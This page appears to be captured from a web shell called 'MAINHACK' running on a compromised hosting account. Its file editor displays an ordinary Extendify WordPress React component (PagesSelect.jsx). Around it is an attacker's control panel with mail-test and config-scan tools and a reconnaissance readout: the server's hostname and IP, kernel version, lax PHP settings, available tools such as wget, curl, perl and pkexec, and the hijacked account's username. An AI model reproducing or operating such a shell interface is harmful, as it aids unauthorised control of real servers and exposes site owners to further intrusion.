[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: PagesSelect.jsx
import { useState, useRef, useEffect, useMemo } from '@wordpress/element'; import { __ } from '@wordpress/i18n'; import { getPageTemplates } from '@launch/api/DataApi'; import { PagePreview } from '@launch/components/PagePreview'; import { PageSelectButton } from '@launch/components/PageSelectButton'; import { Title } from '@launch/components/Title'; import { useFetch } from '@launch/hooks/useFetch'; import { PageLayout } from '@launch/layouts/PageLayout'; import { pageState } from '@launch/state/factory'; import { usePagesSelectionStore } from '@launch/state/pages-selections'; import { useUserSelectionStore } from '@launch/state/user-selections'; export const fetcher = getPageTemplates; export const fetchData = () => { const { siteType, siteStructure } = useUserSelectionStore?.getState() || {}; return { key: 'pages-list', siteType, siteStructure, }; }; export const state = pageState('Pages', () => ({ ready: true, canSkip: false, validation: null, onRemove: () => { // If the page is removed then clean up the selected pages const { pages, remove } = usePagesSelectionStore.getState(); pages.forEach((page) => remove('pages', page)); }, })); export const PagesSelect = () => { const { data: availablePages, loading } = useFetch(fetchData, fetcher); const [previewing, setPreviewing] = useState(); const [expandMore, setExpandMore] = useState(); const { pages, remove, removeAll, add, has, style } = usePagesSelectionStore(); const pagePreviewRef = useRef(); const homePage = useMemo( () => ({ id: 'home-page', slug: 'home-page', name: __('Home page', 'extendify-local'), patterns: style?.patterns .map(({ code }) => code) .flat() .map((code, i) => ({ name: `pattern-${i}`, code, })), }), [style], ); const styleMemo = useMemo( () => ({ ...style, patterns: previewing?.patterns || [] }), [style, previewing], ); const handlePageToggle = (page) => { if (has('pages', page)) { remove('pages', page); return; } add('pages', page); return setPreviewing(page); }; useEffect(() => { // This needs two frames before the code is rendered let raf2; const id = requestAnimationFrame(() => { raf2 = requestAnimationFrame(() => { pagePreviewRef?.current?.scrollTo(0, 0); }); }); return () => { cancelAnimationFrame(id); cancelAnimationFrame(raf2); }; }, [previewing]); useEffect(() => { if (previewing) return; setPreviewing(homePage); }, [previewing, homePage]); useEffect(() => { if (!availablePages?.recommended) return; // On re-load, remove any lingering pages and add the recommended ones removeAll('pages'); availablePages.recommended.forEach((page) => add('pages', page)); }, [availablePages?.recommended, removeAll, add]); return ( <PageLayout> <div className="grow space-y-4 overflow-y-scroll lg:flex lg:space-y-0"> <div className="l6:px-16 hidden h-full min-h-screen grow overflow-y-hidden bg-gray-100 px-4 pt-0 lg:block lg:min-h-0 lg:pb-0 xl:px-32"> <div className="flex h-full flex-col"> <h3 className="my-2 text-center text-base font-medium text-gray-700 lg:my-4 lg:text-lg"> {previewing?.name} </h3> <div ref={pagePreviewRef} className="relative h-full grow overflow-x-hidden rounded-t-lg lg:h-auto lg:overflow-y-scroll"> {previewing && !loading && ( <PagePreview ref={pagePreviewRef} style={styleMemo} /> )} </div> </div> </div> <div className="flex w-full flex-col items-center overflow-y-auto px-6 py-8 lg:max-w-lg lg:px-12 lg:py-16"> <Title title={__( 'Pick the pages to add to your website', 'extendify-local', )} description={__( 'We already selected the most common pages for your type of website.', 'extendify-local', )} /> <div className="flex w-full flex-col gap-4 pb-4" data-test="recommended-pages"> <PageSelectButton page={homePage} previewing={homePage.id === previewing?.id} onPreview={() => setPreviewing(homePage)} checked={true} forceChecked={true} onChange={() => undefined} /> {availablePages?.recommended?.map((page) => ( <PageSelectButton key={page.id} page={page} previewing={page.id === previewing?.id} onPreview={() => setPreviewing(page)} checked={has('pages', page)} onChange={() => handlePageToggle(page)} /> ))} </div> {!expandMore && ( <div className="flex items-center justify-center"> <button type="button" data-test="expand-more" onClick={setExpandMore} className="button-focus my-4 cursor-pointer bg-transparent text-center text-sm font-medium text-gray-900 hover:text-design-main"> {__('View more pages', 'extendify-local')} </button> </div> )} {expandMore && ( <div className="flex w-full flex-col gap-4 pb-4" data-test="optional-pages"> {availablePages?.optional?.map((page) => ( <PageSelectButton key={page.id} page={page} previewing={page.id === previewing?.id} onPreview={() => setPreviewing(page)} checked={pages?.some((p) => p.id === page.id)} onChange={() => handlePageToggle(page)} /> ))} </div> )} </div> </div> </PageLayout> ); };
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium166.web-hosting.com
Server IP: 162.0.209.40
PHP Version: 8.1.34
Server Software: LiteSpeed
System: Linux premium166.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 75.32 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
No
pkexec:
No
git:
Yes
User Info
Username: kataubyb
User ID (UID): 624
Group ID (GID): 625
Script Owner UID: 624
Current Dir Owner: 624